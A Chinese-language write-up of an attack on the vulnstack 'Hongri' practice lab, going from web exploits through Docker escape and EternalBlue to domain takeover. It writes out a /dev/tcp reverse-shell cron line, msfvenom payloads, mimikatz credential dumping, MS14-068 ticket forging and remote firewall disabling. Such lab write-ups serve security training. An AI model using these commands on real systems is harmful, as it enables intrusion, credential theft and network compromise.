新年第一篇,实在无聊想着先打完红日的靶场,没什么技术含量就当做个笔记。
2023年了也面临毕业了,今年要更卷一点,提升自己准没错的。
靶场下载地址
http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
靶机配置
WEB主机 ubuntu:ubuntu 内网ip 192.168.183.129 外网ip 192.168.31.199
WIN7主机 douser:Dotest123 内网ip 193.168.183.3
(DC)WIN2008主机 administrator:Test2023 内网ip 192.168.183.130
WEB主机(Ubuntu)上启动环境
sudo docker start ec 17 09 bb da 3d ab ad
环境使用docker开启的,后续会有docker逃逸相关操作
渗透测试
扫描端口开放情况
1 | nmap -sS -p 1-65535 -A -V 192.168.31.199 |
开放了 22 2001 2002 2003端口
2001端口存在struts2漏洞
2002 端口是一个tomcat 没测试是否存在漏洞
2003端口是一个空密码的phpmyadmin
Struts2
我们直接利用2001端口的struts2漏洞
http://192.168.31.199:2001/
验证并执行成功。接下来为了方便我生成一个哥斯拉,上传上去。
Tomcat
再来看看Tomcat 经测试发现存在 CVE-2017-12615 任意文件写入漏洞
phpmyadmin
空密码的phpmyadmin
用户为test,权限不大,日志写shell不太可能。
经测试存在文件包含漏洞。
1 | http://192.168.31.199:2003/index.php?target=db_sql.php%253f/../../../../../../../../../etc/passwd |
1 | Set-Cookie: phpMyAdmin=077b0523106423df70f4e354379eb8a7; path=/; HttpOnly |
cookie中的phpmyadmin值就是session id
我们有了 sessionid 然后我们包含这个session文件
1 | http://192.168.31.199:2003/index.php?target=db_sql.php%253f/../../../../../../../../../tmp/sess_077b0523106423df70f4e354379eb8a7 |
内网渗透
三个web都存在漏洞,接下来我们利用上面 Struts2漏洞上传的哥斯拉shell来进行内网渗透。
Docker逃逸
判断是否为docker环境
ls -al /.dockerenv #查看根目录下是否存.dockerrnv文件
cat /proc/1/cgroup #查看系统进程的cgroup信息
发现为docker环境,所以需要docker逃逸。
Docker逃逸的方法分为几种 危险配置逃逸、危险挂载逃逸、程序漏洞逃逸、内核漏洞逃逸。后面单独总结一下逃逸的方法和靶场。
逃逸过程中遇到了一些坑,最后看了其他大佬博客发现通过Struts2获得的shell 确实不能实现逃逸。
要用Tomcat获得的shell就可以。只能重新再Tomcat put一个shell了。
为了方便后续操作我们先反弹一个shell过来。
特权模式逃逸
Docker 高危启动参数 – privileged 特权模式启动容器
当操作者执行docker run –privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。
查看磁盘文件 fdisk -l
建一个目录:mkdir /test
挂载磁盘到新建目录:mount /dev/sda1 /test
切换根目录:chroot /test
到这里已经成功逃逸了,然后就是常规的反弹shell 和 写 ssh 了。
接下来和 Redis未授权差不多,利用计划任务,反弹shell回来
1 | echo '*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.31.223/8888 0>&1' >> /test/var/spool/cron/crontabs/root |
此过程中是失败了 因为 chroot /test
切换根目录的时候根本就没有成功,可能就是因为这个原因导致我无法写入计划任务,不止计划任务经测试没有写入权限。。。
尝试用MSF生成一个Linux木马,利用MSF的shell试一下。
1 | msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.31.223 LPORT=4444 -f elf > shell.elf |
1 | use exploit/multi/handler |
MSF下的shell切换成功了。
1 | echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.31.223/8888 0>&1" >> /tmp/test.sh |
此时也利用计划任务crontab提权到root权限
nc这边也是监听到了,到这里我们就Docker逃逸成功,成功拿到宿主机的shell了。
发现两个网卡 内网网段为192.168.183.1
横向移动
老规矩先上传个fscan扫一下内网。
1 | wget http://192.168.31.223:80/fscan_amd64 |
WIN7主机 193.168.183.3
(DC)WIN2008主机 192.168.183.130
都存在17010漏洞。
为了方便进行后续17010等操作,我们将宿主机上线到msf里
和上面操作类似,生成elf 进行监听
1 | 添加路由 |
经过刚才fscan扫描,发现其他两台机器都存在17010漏洞,利用17010打win7。
1 | use exploit/windows/smb/ms17_010_eternalblue |
一直是失败的,猜测是不是因为msf路由的问题。
尝试了无数次才成功打下来了。
tasklist /v
查看进程发现存在DEMO域成员进程,尝试抓取其密码
1 | #msf6中mimikatz已经不可以用了,mimikatz模块已经合并为kiwi模块 |
成功抓取到douser域用户的密码。
mimikatz工具这台主机桌面上已经也已经有了。
1 | mimikatz.exe |
1 | USER: douser |
接下来就是如何获取域控
域提权
利用Kerberos 域用户提权漏洞(MS14-068;CVE-2014-6324)来获得域控。
该漏洞可导致活动目录整体权限控制受到影响,允许攻击者将域内任意用户权限提升至域管理级别。通俗地讲,如果攻击者获取了域内任何一台计算机的Shell权限,同时知道任意域用户的用户名、SID、密码,即可获得域管理员权限,进而控制域控制器,最终获得域权限。
利用MS14-068生成票据
又恰好靶场创建者把 MS14-068提权工具也被放到了桌面上。
1 | MS14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码 |
既然已经成功生成票据,接下来我们用mimikatz导入票据进去
1 | Kerberos::ptc C:\Users\douser\Desktop\TGT_douser@demo.com.ccache |
成功获得域控权限,并且 net time /domain
得到了域控主机名
控制域成员与域控建立一个ipc链接,然后我们生成一个msf后门到这台win7 最后通过win7上传到这台08域控
1 | net use \\WIN-ENS2VR5TR3N\c$ |
利用MSF生产一个正向连接的payload
1 | msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.183.130 LPORT=7777 -f exe > shell.exe |
将shell.exe上传到win7跳板机。将shell.exe复制到域控
1 | copy shell.exe \\WIN-ENS2VR5TR3N\c$ |
利用sc关闭防火墙,并执行shell.exe后门
1 | sc \\WIN-ENS2VR5TR3N create ProFirewall binpath= "netsh advfirewall set allprofiles state off" |
msf监听
1 | use exploit/multi/handler |
最后域控 192.168.31.130 上线。
总结
Struct2、Tomcat、PHPmyadmin 可拿shell
通过Tomcat 拿到shell 发现为Docker环境 上线到MSF Docker特权模式下逃逸姿势,上线宿主机。
添加路由 MS17-101漏洞打掉win7 抓取域内用户密码等,利用域提权MS14-068生成票据,导入票据,拿到域控权限,后生成正向链接马,利用 ipc sc 上传执行马上线到MSF中。